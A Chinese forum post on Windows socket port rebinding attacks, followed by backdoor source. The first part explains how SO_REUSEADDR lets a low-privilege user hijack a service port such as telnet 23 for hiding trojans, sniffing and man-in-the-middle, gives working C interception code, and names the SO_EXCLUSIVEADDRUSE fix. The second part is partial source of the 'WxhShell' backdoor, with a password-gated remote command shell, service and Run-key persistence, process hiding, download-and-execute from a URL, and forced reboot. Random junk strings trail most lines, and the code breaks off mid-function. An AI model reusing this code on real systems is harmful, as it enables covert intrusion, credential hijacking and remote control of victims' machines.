社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17400阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "rR$2`v"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]`TX%Qni  
x)-n[Fu  
  saddr.sin_family = AF_INET; 8QN/D\uq  
T)*tCp]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q6=>*}Cm6m  
\ bv JZ_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]h}O&K/  
hpz DQ6-Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2 D!$x+|  
(zIF2qY  
  这意味着什么?意味着可以进行如下的攻击: ]QmY`pTB`  
1owe'7\J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ct386j><  
884-\M"h  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ms/Q-  
%^(} fu  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .5+5ca  
wo_iCjmK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rwY{QBSf  
mZ4I}_\,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fx = %e  
|eH*Q%M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gbN@EJ  
I_On0@%T5b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tnFhL&  
bVYsPS  
  #include ~0Xx]  
  #include |5me }!C  
  #include 95 oh}c  
  #include    d6{0[T^L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y\}<N6  
  int main() 5c-'m? k  
  { ~ ]^<*R  
  WORD wVersionRequested; uG 7ll5Yy  
  DWORD ret; :hUt7/3c  
  WSADATA wsaData; 9Q:}VpT~nG  
  BOOL val; 8M7pc{  
  SOCKADDR_IN saddr; 2jH&@g$cl;  
  SOCKADDR_IN scaddr;  7K &j  
  int err; -0Q^k\X-  
  SOCKET s; bTc'E#  
  SOCKET sc; ,[)f-FmcU  
  int caddsize; uqK[p^{  
  HANDLE mt; [C(>e0r  
  DWORD tid;   r+;AEN48  
  wVersionRequested = MAKEWORD( 2, 2 ); JsbH'l  
  err = WSAStartup( wVersionRequested, &wsaData ); (Q ~<>  
  if ( err != 0 ) { D8wZC'7  
  printf("error!WSAStartup failed!\n"); I>45xVA  
  return -1; q?Av5TFf  
  } 't un;Y  
  saddr.sin_family = AF_INET; Ub<^;Du5  
   <!I^xo [  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dJUI.!hv;  
`&qeSEs\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?\Lf=[  
  saddr.sin_port = htons(23); b'TkYa^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5.FAuzz  
  { 7wwlZ;w  
  printf("error!socket failed!\n"); !-Md+I_  
  return -1; n<66 7 <  
  } ,: 4+hJ<q  
  val = TRUE; C}cYG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 MU5#ph  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0O7VM)[  
  { " uHU!)J#z  
  printf("error!setsockopt failed!\n"); rklK=W z  
  return -1; b2HHoIT  
  } C4 @"@kbr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hYv;*]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4z^5|$?_ta  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xgv&M:%D-  
Gt5'-Hyo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }[8Nr+y  
  { - ]Mp<Y  
  ret=GetLastError(); IL N0/eH  
  printf("error!bind failed!\n"); 7P7d[KP<  
  return -1; AcxC$uh  
  } ro*$OLc/  
  listen(s,2); O7GJg;>?  
  while(1) ,.PmH.zjmR  
  { a0[Mx 4  
  caddsize = sizeof(scaddr); PvB-Cqc  
  //接受连接请求 L(i0d[F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a]8}zSUK  
  if(sc!=INVALID_SOCKET) ck\gazo~q  
  { Yeb-u+23  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M8iI e:{ c  
  if(mt==NULL) !ie'}|c  
  { wf=M| #}_  
  printf("Thread Creat Failed!\n"); 3rQ;}<*M  
  break; g7nqe~`{  
  }  -p2 =?a  
  } ^Q""N<  
  CloseHandle(mt); ]0&ExD\4  
  } b<?A  
  closesocket(s); }_"<2|~_  
  WSACleanup(); l Vc':,z  
  return 0; 0R[onPU_vZ  
  }   )k'4]=d <  
  DWORD WINAPI ClientThread(LPVOID lpParam) IL2OVLX  
  { &[iunJv:eq  
  SOCKET ss = (SOCKET)lpParam; GMRFZw_M  
  SOCKET sc; RFq&#3f$  
  unsigned char buf[4096]; qGPIKu  
  SOCKADDR_IN saddr; #Mmr{4m  
  long num; v$i[dZSN[  
  DWORD val; "I`g(q#Uo  
  DWORD ret; wUBug  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HtbN7V/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <764|q  
  saddr.sin_family = AF_INET; yM-3nwk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Oe:_B/l  
  saddr.sin_port = htons(23); *{e?%!Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C.}Vm};M  
  { }|!9aojr  
  printf("error!socket failed!\n"); /~B \1  
  return -1; = 7TK&  
  } Fi!XaO  
  val = 100; nt*nTtcE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I3$/ #  
  { *dE5yS`H  
  ret = GetLastError(); :UdH}u!Ek  
  return -1; YoEL|r|  
  } L-\o zp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1ZK~i  
  { BPkqC>w  
  ret = GetLastError(); `lA[-x~  
  return -1; / %:%la%  
  } 5EqC.g.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .8K ~ h  
  { ~\~K ,v  
  printf("error!socket connect failed!\n"); mrvPzoF,]  
  closesocket(sc); V)g{ Ew]:  
  closesocket(ss); 9?~K"+-SI  
  return -1; s$ v<p(yl  
  } "P_PqM  
  while(1) G)'(%rl  
  { ;$= GrR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |w7D&p$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~'aK[3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :P1/kYg  
  num = recv(ss,buf,4096,0); !tL&Ktoj  
  if(num>0) ehCZhi~  
  send(sc,buf,num,0); uk)6%  
  else if(num==0) =u^{Jvl[  
  break; Sd0y=!Pj=  
  num = recv(sc,buf,4096,0); v%6mH6V  
  if(num>0) :n t\uwh  
  send(ss,buf,num,0); g9$P J:  
  else if(num==0) o/Cu^[an  
  break; -WX{ y Ci  
  } ?6[X=GeUs  
  closesocket(ss); c3NUJ~>=y  
  closesocket(sc); p0S;$dH\ D  
  return 0 ; C@8WY  
  } qIIl,!&}A  
+@c-:\K%  
DoYzTSWx  
========================================================== [)&(zJHX  
Hlg Q0qb  
下边附上一个代码,,WXhSHELL a'pJg<  
S@'yuAe*G  
========================================================== R:LT hFx  
4:Bpz;x  
#include "stdafx.h" ~>]/1JFz  
WKwU:im  
#include <stdio.h> m {)F9F  
#include <string.h> \HsrUZ~  
#include <windows.h> [,1\>z|&  
#include <winsock2.h> 0,x<@.pW  
#include <winsvc.h> EN!Q]O|  
#include <urlmon.h> :',Q6j(s  
7P2?SW^  
#pragma comment (lib, "Ws2_32.lib") +UTs2*H/^  
#pragma comment (lib, "urlmon.lib") u3>D vl@  
s{]2~Z^2od  
#define MAX_USER   100 // 最大客户端连接数 a#qC.,$A  
#define BUF_SOCK   200 // sock buffer edW:(19}  
#define KEY_BUFF   255 // 输入 buffer Z} 8 m]I  
0f<$S$~h  
#define REBOOT     0   // 重启 ee=d*)  
#define SHUTDOWN   1   // 关机 <&$:$_ah  
mq(*4KFWJ2  
#define DEF_PORT   5000 // 监听端口 ]ZjydQjo )  
-'9sn/  
#define REG_LEN     16   // 注册表键长度 ZrA OX'>u9  
#define SVC_LEN     80   // NT服务名长度 i1kTP9  
0R0j7\{  
// 从dll定义API v'QmuMWF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @9wug!,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;1&7v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gpauy=4f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %HNe"7gk  
6_w;dnVA  
// wxhshell配置信息 FLI0C  
struct WSCFG { q["T6  
  int ws_port;         // 监听端口 ~/B[;#  
  char ws_passstr[REG_LEN]; // 口令 =n}+p>\s  
  int ws_autoins;       // 安装标记, 1=yes 0=no o1"-x  
  char ws_regname[REG_LEN]; // 注册表键名 v_zVhE tY  
  char ws_svcname[REG_LEN]; // 服务名 #CaT0#v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O\(0{qu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _Zq2 <:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @sV6g?{tI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9z:P#=Q:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y^SDt3Am  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V+M=@Pvp9  
)^C w  
}; -Xw i}/OX  
QE.a2 }  
// default Wxhshell configuration B-<H8[GkG1  
struct WSCFG wscfg={DEF_PORT, PJCRvs|X  
    "xuhuanlingzhe", V_SZp8  
    1, i8tH0w/(M  
    "Wxhshell", $g?`yE(K  
    "Wxhshell", 3%JPJuNVw  
            "WxhShell Service", ftqi>^i  
    "Wrsky Windows CmdShell Service", 2bB&/Uumsd  
    "Please Input Your Password: ", <~[ A  
  1, Q0}Sju+HX  
  "http://www.wrsky.com/wxhshell.exe", YMSA[hm  
  "Wxhshell.exe" wd/"! A4(  
    }; 5GP,J,J  
h zh%ML3L  
// 消息定义模块 %:P&! F\?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !/6`< eQ `  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jNIZ!/K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tyH*epa nw  
char *msg_ws_ext="\n\rExit."; {=Y.Z1E:  
char *msg_ws_end="\n\rQuit."; Ny.s u?E  
char *msg_ws_boot="\n\rReboot..."; F`3J=AJOJ  
char *msg_ws_poff="\n\rShutdown..."; L0Fhjbc  
char *msg_ws_down="\n\rSave to "; (oYM}#Q  
V=@M!;'<  
char *msg_ws_err="\n\rErr!"; :d7tzYT ^  
char *msg_ws_ok="\n\rOK!"; M] +FTz  
Ier0F7]I  
char ExeFile[MAX_PATH]; DKjkO5R\  
int nUser = 0; \ >@'wl  
HANDLE handles[MAX_USER]; Z?vbe}pUM  
int OsIsNt; U(.3[x  
0;b%@_E  
SERVICE_STATUS       serviceStatus; J(\]39y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m|RA@sY%`  
p.gaw16}>  
// 函数声明 gX}(6RP_!  
int Install(void); -L&FguoVB  
int Uninstall(void); U-P\F-  
int DownloadFile(char *sURL, SOCKET wsh); gUo L8~  
int Boot(int flag); j&G*$/lTO6  
void HideProc(void); >l\?K8jL9  
int GetOsVer(void); J&xH "U  
int Wxhshell(SOCKET wsl); B/(]AWi+  
void TalkWithClient(void *cs); M``I5r*cg  
int CmdShell(SOCKET sock); CywQ  
int StartFromService(void); 6NO_S  
int StartWxhshell(LPSTR lpCmdLine); Zz\e:/  
fR=B/`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mgB7l0)b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8h&Ed=gi  
Hd1e9Q,:|  
// 数据结构和表定义 ;t.LLd  
SERVICE_TABLE_ENTRY DispatchTable[] = 8( ^;h2O!  
{ >taC_f06  
{wscfg.ws_svcname, NTServiceMain}, #gw ys  
{NULL, NULL} hJ+;N  
}; ;_yp@.,\T  
l3sL!D1u  
// 自我安装 24TQl<H{  
int Install(void)  $)5F3 a|  
{ L{hP&8$k  
  char svExeFile[MAX_PATH]; 7>g^OE f  
  HKEY key; PD$g W`V  
  strcpy(svExeFile,ExeFile); PXZ ZPW/  
d$uh .?F5  
// 如果是win9x系统,修改注册表设为自启动 dv+)U9at  
if(!OsIsNt) { o;+J3\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MLL4nkO,`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A=7  [^I2  
  RegCloseKey(key); %|l^oC+E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S$!)Uc\)A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;NrN#<j( !  
  RegCloseKey(key); 8+Y+\XZG  
  return 0; .[v4'ww^  
    } ,8KD-"l^g  
  } 0L "+,  
} PKoB~wLH  
else { <z3:*=!  
3[RbVT  
// 如果是NT以上系统,安装为系统服务 cO,ELu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j5*W[M9W  
if (schSCManager!=0) ;:JTb2xbb  
{ v2>.+Eh#  
  SC_HANDLE schService = CreateService pPUv8, %  
  ( HWFI6N  
  schSCManager, w6k\po=  
  wscfg.ws_svcname, {iGk~qN  
  wscfg.ws_svcdisp, zV(F9}^  
  SERVICE_ALL_ACCESS, =?U"#a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QU/Q5k  
  SERVICE_AUTO_START, MtYi8"+<e.  
  SERVICE_ERROR_NORMAL, |22~.9S  
  svExeFile, -kp! .c  
  NULL, >&0)d7Nu8m  
  NULL, RO-ABFEi(  
  NULL, i-(^t1c  
  NULL, 6m_whGosi  
  NULL %&L]k>n^  
  ); VU1 ;ZJ E  
  if (schService!=0) 6vVx>hFJ47  
  { O`nrXC{  
  CloseServiceHandle(schService); i^[yGXtW  
  CloseServiceHandle(schSCManager); ,Db+c3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,t4g^67R{  
  strcat(svExeFile,wscfg.ws_svcname); Sri,sZv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7/.-dfEK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u:+wuyu  
  RegCloseKey(key); aB9Pdu t  
  return 0; ?UAB}CjY  
    } IfHB+H   
  } /n= %#{  
  CloseServiceHandle(schSCManager); iyw "|+  
} 4%Q8>mEvT  
} Sb=cWn P  
qRMH[F$`  
return 1; Jsee8^_~  
} {'W\~GnZ  
*@J  
// 自我卸载 <(Ub(  
int Uninstall(void) mmrx*sr=  
{ =W1`FbR  
  HKEY key; 3lc'(ts %  
xU/Eu;m  
if(!OsIsNt) { w(kN0HD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;m{*iKL6{  
  RegDeleteValue(key,wscfg.ws_regname); yM%,*VZ  
  RegCloseKey(key); F&}>2QiL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uJ<sa;  
  RegDeleteValue(key,wscfg.ws_regname); #t /.fd  
  RegCloseKey(key); {K-]nh/  
  return 0; 9Ny{2m=Ye  
  } \~4uEk"]  
} g:/l5~b  
} `A5^D  
else { V\8vJ3.YV  
o<f[K}t9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _@3?yv~ D  
if (schSCManager!=0) C' C'@?]  
{ SRq0y,d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OM!CP'u#{  
  if (schService!=0) L^:+8g  
  { eR.ucTji  
  if(DeleteService(schService)!=0) { m|<j9.iJ  
  CloseServiceHandle(schService); jIx5_lFe  
  CloseServiceHandle(schSCManager); cT abZc  
  return 0; s8T} ah!  
  } hETTD%  
  CloseServiceHandle(schService); MR$Bl"d  
  } 45l/)=@@B  
  CloseServiceHandle(schSCManager); BJDe1W3;'  
} 9.R)iA  
} @; ayl  
w=Xil  
return 1; nA%H`/O{  
} Q7O8']~n  
"WOY`su>  
// 从指定url下载文件 Pb$ep|`u  
int DownloadFile(char *sURL, SOCKET wsh) 0R~{|RHM  
{ #z{9:o7[-  
  HRESULT hr; L*tn>AO  
char seps[]= "/"; mBgMu@zt)  
char *token; }PGl8F !  
char *file; wXf_2qB9  
char myURL[MAX_PATH]; is`Eqcj`dr  
char myFILE[MAX_PATH]; iQpKcBx  
CMa~BOt#  
strcpy(myURL,sURL); 3IHya=qN  
  token=strtok(myURL,seps); Wd'wL"6De  
  while(token!=NULL) o >bf7+D  
  { Eh;SH^&6  
    file=token; }?xu/C  
  token=strtok(NULL,seps); 1,fjdd8OM;  
  } afRUBjs  
.3k"1I '\  
GetCurrentDirectory(MAX_PATH,myFILE); _@0>y MZ^  
strcat(myFILE, "\\"); ou6|;*>d  
strcat(myFILE, file); jJ-j   
  send(wsh,myFILE,strlen(myFILE),0); ETe,RY  
send(wsh,"...",3,0); s  bV6}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v/6QE;BY&Q  
  if(hr==S_OK) 7>`QX%  
return 0; "YD<pRVB  
else :%qJAjR&  
return 1; 1lu _<?O  
-?n|kSHX  
} V}ZF\SG(K  
lqe;lWC0Z  
// 系统电源模块 Q}ho Y  
int Boot(int flag) }~$zdgMT  
{ l=%v  
  HANDLE hToken; Px:PoOw\  
  TOKEN_PRIVILEGES tkp;  lTsl=  
S!o!NSn@1  
  if(OsIsNt) { O$+J{@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {4tJT25  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [aX'eM q  
    tkp.PrivilegeCount = 1; p%5RE%u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3B95t-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -%"Kxe  
if(flag==REBOOT) { _ v\=ag  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MnUal}MO  
  return 0; n *|F=fl  
} .x7d!t:(D  
else { ~0r:Wcj x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bY7d  
  return 0; K:/%7A_{  
} 5=/H2T!F  
  } i[A$K~f  
  else { ,o\v umx  
if(flag==REBOOT) { !u@e^J{Ao  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 09pnM|8A  
  return 0; G (Fi  
} %c)^8k;I  
else { k_.%(ZE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " cx\P,<  
  return 0; QcG4~DEX4  
} ^.y}2  
} <hgt{b4  
iqURlI);P  
return 1; ?)k;.<6  
} 0m_c43+^  
K1 a$ m2  
// win9x进程隐藏模块 2ku\R7  
void HideProc(void) + |MHiC  
{ ]cLO-A  
uqPagt<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S1NM9xHJ  
  if ( hKernel != NULL ) !T02@e/  
  { 4v cUHa|4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DE:FWD<}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Qc-jOl  
    FreeLibrary(hKernel); _] veTAV  
  }  U=MFNp+  
Oe=7z'o  
return; rI)op1K  
}  Hrm^@3  
z/(^E8F  
// 获取操作系统版本 E9t[Mb %0  
int GetOsVer(void) fEF1&&8^  
{ B uV@w-|  
  OSVERSIONINFO winfo; @13vn x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;QQLYT  
  GetVersionEx(&winfo); ]Ec\!,54u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wB}s>o\  
  return 1; ]Sg4>tp  
  else 8C3oj  
  return 0; +gh6eY8  
} ,cD(s(6+  
> f,G3Ay  
// 客户端句柄模块 =m6;]16D  
int Wxhshell(SOCKET wsl) H'Q4IRT  
{ 5%j !SVW  
  SOCKET wsh; `)$'1,]u  
  struct sockaddr_in client; G4][`C]8c  
  DWORD myID; 5]DgfwX  
#@Yw]@5M  
  while(nUser<MAX_USER) uH S)  
{ <z+5+h|^  
  int nSize=sizeof(client); ).e_iE[&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \?A 7{IY  
  if(wsh==INVALID_SOCKET) return 1; W3K?K-  
FjD`bhw-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /9<zG}:B  
if(handles[nUser]==0) $lmGMljF  
  closesocket(wsh); Hy~kHBIL  
else Qvt  
  nUser++; j4>1a   
  } f]N2(eM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kKwb)i  
/iFtW#K+  
  return 0; uc4#giCD  
} /pni_-l*  
r=l hYn  
// 关闭 socket ;2 -%IA,  
void CloseIt(SOCKET wsh) ;L(2Ffk8  
{ |%.V{vgP7  
closesocket(wsh); .jW+\mIX  
nUser--;  K9 h{sC  
ExitThread(0); IF-g %  
} U {Xg#UN  
x TEDC,B  
// 客户端请求句柄 F3j#NCuO=z  
void TalkWithClient(void *cs) /f2HZfj  
{ CU'$JF  
[;yEG$)K  
  SOCKET wsh=(SOCKET)cs; LRl2@&z<  
  char pwd[SVC_LEN]; ikd~k>F  
  char cmd[KEY_BUFF]; Oo<L~7B  
char chr[1]; 7kJ =C  
int i,j; iX,| ;J|]  
v.Wkz9 w}  
  while (nUser < MAX_USER) { seO7/h_a  
KLi&T mIB  
if(wscfg.ws_passstr) { YJi C}.4Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]/>(C76  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G*.}EoA  
  //ZeroMemory(pwd,KEY_BUFF); Kv3cKNvu~  
      i=0; @X\-c2=  
  while(i<SVC_LEN) { SJ4[n.tPI  
Q@zD'G >  
  // 设置超时 ha_&U@w  
  fd_set FdRead; #_)<~  
  struct timeval TimeOut; NJ\ID=3l  
  FD_ZERO(&FdRead); n@IpO i$Q  
  FD_SET(wsh,&FdRead); ^)|8N44O  
  TimeOut.tv_sec=8; `rEu8u  
  TimeOut.tv_usec=0; i!5zHn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CsfGjqpf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @ov*Fh  
@AM;58.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ; C/:$l  
  pwd=chr[0]; q5<'pi   
  if(chr[0]==0xd || chr[0]==0xa) { Hg<d%7.  
  pwd=0; VnqgN  
  break; hfzmv~*  
  } |Et8FR3[m  
  i++; \/E+nn\)  
    } "SGq$3D  
oNW5/W2e;  
  // 如果是非法用户,关闭 socket vhe[:`=a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #w_cos[I  
} 7mG/f  
f'501MJu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )nncCU W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rs*]I\  
(.Q.S[<Y  
while(1) { w"?H4  
yb{ud  
  ZeroMemory(cmd,KEY_BUFF); 1nHQ)od  
UqJ}5{rt  
      // 自动支持客户端 telnet标准   wB%:RI,  
  j=0; R'M=`33M  
  while(j<KEY_BUFF) { Y|%s =0M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ll 4/P[7:?  
  cmd[j]=chr[0]; $H}G'LqiG  
  if(chr[0]==0xa || chr[0]==0xd) { [1Cs  
  cmd[j]=0; ry^FJyjW  
  break; &d1|B`gL|  
  } glk-: #  
  j++; ]Dj,8tf`H  
    } Aun X[X9  
#m %ZW3  
  // 下载文件 ]mO$Tg&s~  
  if(strstr(cmd,"http://")) { L-J 7z+{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t]dtBt].:  
  if(DownloadFile(cmd,wsh)) LU'<EXUbY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); la37cG  
  else mar6/*`I#+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9@'^}c#  
  } `XT8}9z!  
  else { |a||oyrN  
&~9'7 n!  
    switch(cmd[0]) { e+`LtEve0  
  T'W)RYnwl  
  // 帮助 ,0j7qn@tm  
  case '?': { =rH' \7T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dXwfOC\\  
    break; H] i.\2z  
  } b A/,{R  
  // 安装 /=o~7y  
  case 'i': { Pn&!C*,  
    if(Install()) "$@>n(w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&Q$;s3|Y  
    else TU-aL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); . #+N?D<  
    break; yH YqJ|t  
    } `;X~$uS  
  // 卸载 _SVIY@K|/  
  case 'r': { hrT!S  
    if(Uninstall()) hh%f mc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK_n}QW  
    else Q:nBx[%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0j@nOj(3  
    break; >d/DXv 3  
    } aHhr_.>X  
  // 显示 wxhshell 所在路径 yf 7Sz$Eq  
  case 'p': { ">-J+ST%  
    char svExeFile[MAX_PATH]; */8b)I}yY  
    strcpy(svExeFile,"\n\r"); OD;-0Bj  
      strcat(svExeFile,ExeFile); 2=?:(e9  
        send(wsh,svExeFile,strlen(svExeFile),0); fv;3cxQp  
    break; |<:Owd=  
    } U"SH fI:  
  // 重启 Ln&'5D#  
  case 'b': { G0e]PMeFl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 06)B<  
    if(Boot(REBOOT)) q4Rvr[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =x_~7 Xc{  
    else { rzl0*CR  
    closesocket(wsh); ]H%S GQPn  
    ExitThread(0); _lK+/"-l  
    } aRt`IcZYz  
